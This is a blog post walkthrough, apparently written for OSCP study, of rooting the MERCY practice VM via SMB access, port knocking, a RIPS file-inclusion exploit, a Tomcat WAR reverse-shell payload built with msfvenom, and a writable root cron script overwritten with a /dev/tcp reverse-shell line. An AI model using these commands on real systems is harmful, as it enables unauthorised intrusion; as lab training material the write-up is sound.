This is the eighth post of a series of posts I’m creating to study for OSCP. You can find the previous post by clicking here.


Release date: 28 Dec 2018

Author: Donavan

Provided description: MERCY is a machine dedicated to Offensive Security for the PWK course, and to a great friend of mine who was there to share my sufferance with me. :-)

MERCY is a name-play on some aspects of the PWK course. It is NOT a hint for the box.

If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): Mercy is: (#1): what you always plead for but cannot get, (#2): a dubious machine, (#3):

Note: Some report a kernel privilege escalation works on this machine. If it does, try harder! There is another vector that you should try!

Feel free to contact the author at if you would like to drop a comment.

This Virtual machine is part of the NetSecFocus list.

Vulnerabilities Found:

Sensitive Data Exposure

Local File Inclusion

Privilege Escalation

#Scanning and Enumeration

A basic nmap scan reveals the following ports:

nmap -T4 <IPAddress>

The port 80 is filtered. When I tried to access it, I got a timed out connection.

Take the notes on what ports should we try next:



Running gobuster against 8080 port reveals only one interesting directory:

gobuster dir -u http://<IPAddress>:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .html,.php

As expected, it requires some sort of credentials:

On the default page, we found some sensitive data exposure:

Take it to your notes.

Since we have a 445 port open, we can try to enumerate it and see what happens:

3 file shares, but only one might be interesting: qiu.

Unfortunately, it asks for credentials, which we don’t have so far.

And 4 users:

thisisasuperduperlonguser, fluffy, qiu and pleadformercy.

Searching for the robots file, we got an entry that it’s worth trying:

Here is its content:

It’s a base64 encoded string, let’s decode it and see what we get:

it seems to be a “good password” to try on the SMB share we found before, don’t you think?

In order to try to access that share, we have to pass a user as a parameter and then try to use the password we just found. Here is the command that we have to issue:

smbclient \\\\<IPAddress>\\qiu -U qiu

That’s it! We found our way in. After searching through the files, this one called my attention:


get config

Once I inspected its content, here’s what I found:

It’s an Apache configuration with a knock configuration in it. Remember that ports 22 and 80 were filtered out? Well, now we have the keys to the castle.


With this useful information on hands, let’s open up the port 80 and keep advancing:

knockd <IPAddress> 159 27391 4

Another quick gobuster scan will tell us if it worked:

and it did! But there is nothing interesting on the pages above:

After a quick search, I found 2 entries on robots.txt on port 80:

Well, on /mercy, we got only one index file:

But on /nomercy directory, we got something interesting:

This is a tool called RIPS. You can read more about it on the link I provided you by clicking on its name. There is nothing much to explore on this tool, but when we start looking for exploits for it, I found an LFI exploit on ExploitDB:

The exploit mentions the following:

Let’s try on our side:


It worked! But how useful this LFI could be on this machine? I remembered that we had a manager page on the apache tomcat to get credentials and access that, let’s try to find the apache tomcat users’ file. In the scanning phase, on the main page, we had a data exposure showing the Apache tomcat installation path was /var/lib/tomcat7. In this page, you will see that the users’ file is stored in $CATALINA_BASE/conf/tomcat-users.xml , so the result will be:


Adding it to our exploit:


If we try on the browser, it works and reveals the users:

Take it to your notes:



Going back to the manager page on port 8080, we can try to access it with the user on line 31 from the picture above:

Once you are logged in the tomcat application, if you scroll down to the bottom, you will see that you are allowed to upload a war file:

A war (web archive) File contains files of a web project. It may have servlet, xml, jsp, image, html, css, js etc. files.

Let’s use it to our advantage and spawn a shell on that machine.

The page below will show you how to create a war payload to spawn a shell:

The payload is:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IPAddress> LPORT=4242 -f war > reverse.war


  • -p is the payload;
  • LHOST is the IP address of your attacker machine;
  • LPORT is the port of your attacker machine that you want to receive the shell;
  • -f is the file type, in this case, “war”;

All you have to do now is to upload the generated reverse.war file to the server. It is going to generate a new application, like this:

To trigger the payload, make sure you have a netcat session listening on port 4242:

nc -lvp 4242

And then browse that page to trigger the payload. It is going to open a blank page, but trust me, the shell will be there:

We got access to the machine with a low level user.

#Escalating Privileges

I always start the enumeration on a machine using the script.

One thing I noticed in the output was the fact that the machine was running some job using cron as root:

But it was not on /etc/crontab:

Maybe it is running as per-level user? We’ll see.

Well, for now, the output didn’t help that much. I decided to search on the users’ home pages:

Qiu, pleadformercy and fluffy home directories were locked, I didn’t have access to them. When I entered on thisisasuperduperlonguser, I got 3 files, but nothing interesting:

I thought this was a password for the user, but it isn’t:

But wait! I forgot to try something! Remember that we had 2 credentials on our notes during our exploration on tomcat’s users file? What if we tried fluffy’s user using su command?

su fluffy

password: freakishfluffybunny

It worked, and now we have access to fluffy’s home folder.

Searching through the folder, I found a hidden folder called .private with a secrets folder within it. Two files were there: and timeclock.Catting out the timeclock file will show us the following:

It seems to be the task that will get the time to the time page we saw on port 80. It’s running as root, but any other user is able to edit that:

Does it makes your wheels starting spinning on your brain? This file might be that cron job we were looking for. let’s replace its content with one that will spawn a reverse shell for us on port 80:

echo “0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196” > timeclock

Start a shell on your machine and wait a little bit:

nc -lvp 80

After 3 minutes you will get the root shell. The proof file is in the /root directory:

There it is! We are root!

If you are curious how I knew that I had to wait 3 minutes, once I got root I went to /var/spool/cron/crontabs/root and saw its content:

The timeclock file had a cron job running every 3 minutes as root :)


If you already rooted Bravery machine, mercy is almost more of the same, a cron job that you could exploit to get a shell. But it was good to have a second chance to practice my abilities to identify a cron job and to look more at robots.txt files, which I was not used to do. The new thing about this challenge was the ability to spawn a shell using the apache tomcat war file, I had to understand more about this process by reading how to trigger the shell when I uploaded the war file.

Well, that’s it for today, If you have any questions about this process, let me know in the comments, I will be here to help you.

Happy Hacking!

Sysadmin | Azure | MCSE Certified | Security Enthusiast | OSCP Student | A guy who wants to understand how things work